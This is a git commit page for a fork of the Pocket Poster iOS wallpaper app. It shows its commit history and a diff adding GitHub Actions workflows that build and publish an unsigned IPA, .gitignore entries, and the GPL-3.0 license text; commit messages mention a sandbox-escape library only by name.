85 Commits
Author SHA1 Message Date
admin 4c7d968d49 Pocket Poster 3.3.0: worse_query port for iOS 26-27.2
Release IPA / Build and release IPA (push) Canceled after 0s
Build IPA / Build unsigned IPA (push) Canceled after 0s
- Replace bad_query with forcequitOS/worse_query (App Group based)
- Read the App Group from the code signature entitlements
- Add pathleak container enumeration and iOS 27 system container lookup
- Route descriptor/CarPlay writes through worse_query
- Add sign_personal.sh and POCKET_POSTER_SELFTEST diagnostics
- Keep bad_query as an iOS 26 fallback
2026-11-10 15:51:27 +08:00
Mak5er 2472fdc48b Update README.md 2026-08-11 20:53:10 +03:00
Mak5er b01dca5c43 Fix release workflow: use gh CLI to publish IPA
Replace softprops action with gh release create/upload so tags
auto-publish Pocket_Poster.ipa on GitHub Releases.
2026-08-11 05:30:57 +03:00
Mak5er dd3b90d629 Add CI: auto-build IPA and GitHub Releases
- Shared Xcode scheme for headless xcodebuild
- build.yml: build unsigned IPA on push/PR, upload artifact
- release.yml: on v* tags (or manual dispatch), publish Release with IPA
2026-08-11 05:28:06 +03:00
Mak5er 18a67ec171 Add bad_query support for iOS 26–27.0b4
Integrate forcequitOS/bad_query for sandbox-escaped PosterBoard
writes, on-device container UUID detection (no PC/Nugget required),
descriptor wipe for Reset Collections, and Mond-style WebKit
respring that works under LiveContainer.

Rebrand fork to com.mak5er.Pocket-Poster; credit Mak5er.
2026-08-11 05:21:59 +03:00
leminlimez fb07aa4558 Merge pull request #53 from SerStars/altsource
Add AltSource & README layout change
2026-02-14 15:26:25 -05:00
leminlimez 4a8e723569 Merge pull request #29 from squairdev/main
fix: tendies not applying with space in name
2026-02-14 15:26:10 -05:00
SerStars 2112e59d46 fancy 2026-01-30 17:49:40 +01:00
SerStars 4324cb79db Credit myself :P 2025-12-04 01:52:22 +01:00
SerStars 5aacc36822 Update README.md
"redesign"?
2025-12-04 01:48:59 +01:00
Squair. c4e17c9609 fix: tendies not applying with space in name 2025-09-29 21:26:57 -04:00
leminlimez 2bea79eb60 Merge pull request #16 from leminlimez/explore-page
Explore page + CarPlay
2025-08-29 17:33:06 -04:00
leminlimez e288b1f2e7 fix update api 2025-08-29 17:29:48 -04:00
leminlimez 454c63d2ca update translations 2025-08-29 17:26:19 -04:00
leminlimez fb8bd7f26e fix rotation of generated video 2025-08-22 16:36:44 -04:00
leminlimez dd902d2c30 disable carplay on ios 26db4+ and make CarPlayManager 2025-08-12 14:45:49 -04:00
leminlimez d35636c0be change explore page fit to fill 2025-07-19 10:22:01 -04:00
leminlimez 7434897eac dont show carplay menu on ipads 2025-07-19 09:02:08 -04:00
leminlimez 395cbe5e13 fix gif caching 2025-07-19 08:58:08 -04:00
leminlimez 71b1d0a21d cached async giffy 2025-07-18 16:45:34 -04:00
leminlimez 22a74d5fb8 fix confirmation popup not appearing 2025-07-18 14:48:43 -04:00
leminlimez ad280b1a6b gif previews + handle apple wallpapers 2025-07-15 15:13:28 -04:00
leminlimez 4d6b093ffd custom explore page + api 2025-07-15 15:00:42 -04:00
leminlimez 5a94ea73d9 DEBUG: explore link changing 2025-07-15 11:30:47 -04:00
leminlimez 9687a8f19d Merge branch 'main' into carplay 2025-07-14 15:58:16 -04:00
leminlimez 41c215776e update th and tr languages 2025-07-14 15:22:16 -04:00
leminlimez 3892e75556 update + add languages
New:
- Bulgarian
- French (LU)
- Italian
- Chinese (simplified)
2025-07-13 14:50:47 -04:00
leminlimez 99eba91bad fall back to the tutorial menu on ios 17 2025-07-13 14:43:11 -04:00
leminlimez dfee862746 change the name of the files 2025-07-12 11:49:37 -04:00
leminlimez faaef84376 handle carplay and pb hashes separately 2025-07-12 11:38:09 -04:00
leminlimez 94f78c9f4e checking for pocket poster update 2025-07-12 11:29:46 -04:00
leminlimez e932b82515 loading and error handling 2025-07-11 11:15:52 -04:00
leminlimez edde7ddb0c explore page
still needs fixed for no wifi and freezing
2025-07-06 19:02:03 -04:00
leminlimez cdd5cbe634 Merge branch 'main' into carplay 2025-07-06 18:13:42 -04:00
leminlimez a6af03b98b fix pb and carplay app hash problems 2025-06-29 21:51:04 -04:00
leminlimez c04b863efa dont do container number 59 on ios 16 2025-06-23 15:51:39 -04:00
leminlimez d5833dfb81 save changed images 2025-06-23 14:25:54 -04:00
leminlimez 7c2a031463 Merge branch 'main' into carplay 2025-06-23 14:13:49 -04:00
leminlimez e849659211 Merge pull request #7 from leminlimez/video
Video
2025-06-23 13:22:57 -04:00
leminlimez 3801241850 Update README.md 2025-06-23 13:22:48 -04:00
leminlimez 013743cd5c update ar, ar-SA 2025-06-23 13:19:59 -04:00
leminlimez 4062d084db ios 16 poterboard probably 2025-06-22 17:18:38 -04:00
leminlimez fe1911a5cd update languages
ar, ar-SA, cs, fr-CA
2025-06-22 17:03:21 -04:00
leminlimez 918af3baa3 get wallpapers in order 2025-06-22 15:59:01 -04:00
leminlimez 2f99384650 Merge branch 'video' into carplay 2025-06-22 14:18:47 -04:00
leminlimez 2536f5df86 update/add finished languages
ae-AE, es, es-MX, fr, fr-BE, fr-CA, ko, zh-Hant, th, pl, nl, ja, de, hu, ru, tr
2025-06-22 11:35:53 -04:00
leminlimez 6e95f9336a add ios 17 + ios 26 support for carplay cache 2025-06-22 10:29:25 -04:00
leminlimez aac867c83a Merge branch 'video' into carplay 2025-06-21 16:45:40 -04:00
leminlimez bfaf9d1678 release pooled memory while extracting frames 2025-06-21 14:15:00 -04:00
leminlimez f9ba2dee0d improve carplay apply button ui 2025-06-21 14:04:45 -04:00
leminlimez 759597dfb2 Merge branch 'video' into carplay 2025-06-21 13:47:17 -04:00
leminlimez 7bf227a6de option to ignore video duration limit 2025-06-21 11:22:10 -04:00
leminlimez 71d37a38bb add time preview to video 2025-06-21 10:47:42 -04:00
leminlimez eccf8926fd update russian and turkish 2025-06-21 09:50:17 -04:00
leminlimez 6aa0598da4 save carplay hash to make transition easier 2025-06-21 09:15:22 -04:00
leminlimez 80be3c8941 update vietnamese 2025-06-21 09:07:52 -04:00
leminlimez aa05306b5a add/update languages + fix localization \n problem
ar, ar-ae, ar-sa, cs, nl, fr, fr-ch, de, hu, ja, pl, ru, es, es-mx, th, tr, vi
2025-06-21 08:59:47 -04:00
leminlimez ec1293e3e4 add community translators to credits 2025-06-21 08:20:15 -04:00
leminlimez 2148a348da add video import duration limit 2025-06-21 08:12:51 -04:00
leminlimez 38c6d06a0e add tutorial strings 2025-06-20 11:41:24 -04:00
leminlimez 622d8f98cf thai support 2025-06-19 04:52:55 -04:00
leminlimez f305e4b2c6 active wallpapers tracking 2025-06-19 04:39:31 -04:00
leminlimez 069d5cf1c3 specific carplay ui 2025-06-19 04:23:26 -04:00
leminlimez 9d8aef4039 prepare for carplay app hash 2025-06-19 03:14:49 -04:00
leminlimez 6d1633b44a Merge branch 'main' into video 2025-06-19 03:06:49 -04:00
leminlimez d552663034 clean video folder 2025-06-19 03:05:27 -04:00
leminlimez 7666e9fcab add vietnamese 2025-06-19 01:01:13 -04:00
leminlimez a9cfe59c49 fix alert not finding right view controller 2025-06-18 22:44:13 -04:00
leminlimez a1ce92f3eb add spanish and french translations 2025-06-18 20:52:17 -04:00
leminlimez bf0d7989bd prepare for localizations 2025-06-18 19:32:36 -04:00
leminlimez d835a40199 ui improvements + fix error popups not showing 2025-06-18 19:09:10 -04:00
leminlimez 54aa8e20a3 improve error codes 2025-06-18 18:47:27 -04:00
leminlimez d45a64bb19 absolute value the video resolution 2025-06-18 12:10:30 -04:00
leminlimez 1eab5e5476 add an auto reverses button 2025-06-11 22:00:46 -04:00
leminlimez b782d6c7a2 add a limit of 5 videos 2025-06-11 21:46:04 -04:00
leminlimez 5268d31581 removing videos from selector 2025-06-11 21:43:30 -04:00
leminlimez ef444f7c5c new video adding ui + selecting multiple videos 2025-06-11 20:58:28 -04:00
leminlimez 047c9e9504 show the frames being generated in alert 2025-06-11 19:50:42 -04:00
leminlimez 9ccc8e4317 fix alert dismissing 2025-06-11 16:59:28 -04:00
leminlimez c1549ea326 fix observing changes 2025-06-11 16:57:24 -04:00
leminlimez 60aa215d6b automatic resetting of collections 2025-06-11 16:13:18 -04:00
leminlimez 903c2d6ff3 Create LICENSE 2025-06-10 18:55:51 -04:00
leminlimez 913110be91 clean up video 2025-06-08 19:01:09 -04:00
leminlimez aaf5051eeb video wallpapers 2025-06-08 18:58:46 -04:00
leminlimez 35e58b88eb create singleton for PBManager 2025-06-08 14:32:58 -04:00
80 changed files with 19046 additions and 250 deletions

No files matched your search

+61
View File
@@ -0,0 +1,61 @@
name: Build IPA
on:
push:
branches: [main]
pull_request:
branches: [main]
workflow_dispatch:
concurrency:
group: build-${{ github.ref }}
cancel-in-progress: true
jobs:
build:
name: Build unsigned IPA
runs-on: macos-15
timeout-minutes: 45
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Select Xcode
run: |
# Prefer newest installed Xcode
ls /Applications | grep -i Xcode || true
sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
xcodebuild -version
xcodebuild -showsdks | grep iphoneos || true
- name: Resolve packages
run: |
xcodebuild -project "Pocket Poster.xcodeproj" \
-scheme "Pocket Poster" \
-resolvePackageDependencies
- name: Build IPA
run: |
chmod +x ./ipabuild.sh
./ipabuild.sh
- name: Prepare artifact
run: |
VERSION=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' \
"build/DerivedDataApp/Build/Products/Release-iphoneos/Pocket Poster.app/Info.plist" 2>/dev/null \
|| grep -m1 'MARKETING_VERSION' "Pocket Poster.xcodeproj/project.pbxproj" | sed 's/[^0-9.]//g')
echo "VERSION=$VERSION" >> "$GITHUB_ENV"
test -f "build/Pocket_Poster.ipa" || cp "build/Pocket Poster.ipa" "build/Pocket_Poster.ipa"
cp "build/Pocket_Poster.ipa" "build/Pocket_Poster_${VERSION}.ipa"
ls -lh build/*.ipa
- name: Upload IPA (artifact)
uses: actions/upload-artifact@v4
with:
name: Pocket_Poster-${{ env.VERSION }}
path: |
build/Pocket_Poster.ipa
build/Pocket_Poster_*.ipa
if-no-files-found: error
retention-days: 30
+119
View File
@@ -0,0 +1,119 @@
name: Release IPA
on:
push:
tags:
- "v*"
workflow_dispatch:
inputs:
tag:
description: "Optional tag override (e.g. v3.2.2)"
required: false
type: string
default: ""
permissions:
contents: write
jobs:
release:
name: Build and release IPA
runs-on: macos-15
timeout-minutes: 60
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Select Xcode
run: |
sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
xcodebuild -version
- name: Resolve Swift packages
run: |
xcodebuild -project "Pocket Poster.xcodeproj" \
-scheme "Pocket Poster" \
-resolvePackageDependencies
- name: Build IPA
run: |
chmod +x ./ipabuild.sh
./ipabuild.sh
- name: Package release assets
id: meta
run: |
set -euo pipefail
APP_PLIST="build/DerivedDataApp/Build/Products/Release-iphoneos/Pocket Poster.app/Info.plist"
VERSION=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' "$APP_PLIST")
BUILD=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleVersion' "$APP_PLIST")
BUNDLE_ID=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleIdentifier' "$APP_PLIST")
if [ "${{ github.event_name }}" = "workflow_dispatch" ] && [ -n "${{ inputs.tag }}" ]; then
TAG="${{ inputs.tag }}"
elif [ "${GITHUB_REF_TYPE}" = "tag" ]; then
TAG="${GITHUB_REF_NAME}"
else
TAG="v${VERSION}"
fi
test -f build/Pocket_Poster.ipa || cp "build/Pocket Poster.ipa" build/Pocket_Poster.ipa
cp build/Pocket_Poster.ipa "build/Pocket_Poster_${VERSION}.ipa"
echo "version=${VERSION}" >> "$GITHUB_OUTPUT"
echo "build=${BUILD}" >> "$GITHUB_OUTPUT"
echo "bundle_id=${BUNDLE_ID}" >> "$GITHUB_OUTPUT"
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
{
echo "## Pocket Poster ${VERSION}"
echo ""
echo "bad_query fork for **iOS 26 – 27.0b4**"
echo ""
echo "- On-device PosterBoard hash (no PC / Nugget)"
echo "- Apply wallpapers via sandbox escape"
echo "- Reset Collections (descriptor wipe)"
echo "- Mond-style WebKit respring (works in LiveContainer)"
echo ""
echo "**Bundle ID:** \`${BUNDLE_ID}\`"
echo "**Build:** ${BUILD}"
echo ""
echo "Sideload with TrollStore / SideStore / LiveContainer."
echo ""
echo "---"
echo "Credits: forcequitOS/bad_query · original leminlimez/Pocket-Poster"
} > release_notes.md
ls -lh build/*.ipa
echo "Publishing tag=${TAG} version=${VERSION}"
- name: Create GitHub Release
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
TAG="${{ steps.meta.outputs.tag }}"
VERSION="${{ steps.meta.outputs.version }}"
# Create tag on current commit if dispatch without existing tag
if ! git rev-parse "$TAG" >/dev/null 2>&1; then
git tag "$TAG"
git push origin "$TAG" || true
fi
if gh release view "$TAG" >/dev/null 2>&1; then
gh release upload "$TAG" \
build/Pocket_Poster.ipa \
"build/Pocket_Poster_${VERSION}.ipa" \
--clobber
gh release edit "$TAG" \
--title "Pocket Poster ${VERSION}" \
--notes-file release_notes.md
else
gh release create "$TAG" \
build/Pocket_Poster.ipa \
"build/Pocket_Poster_${VERSION}.ipa" \
--title "Pocket Poster ${VERSION}" \
--notes-file release_notes.md
fi
+4 -1
View File
@@ -1 +1,4 @@
/build
/build/
.DS_Store
xcuserdata/
*.xcuserstate
+674
View File
@@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
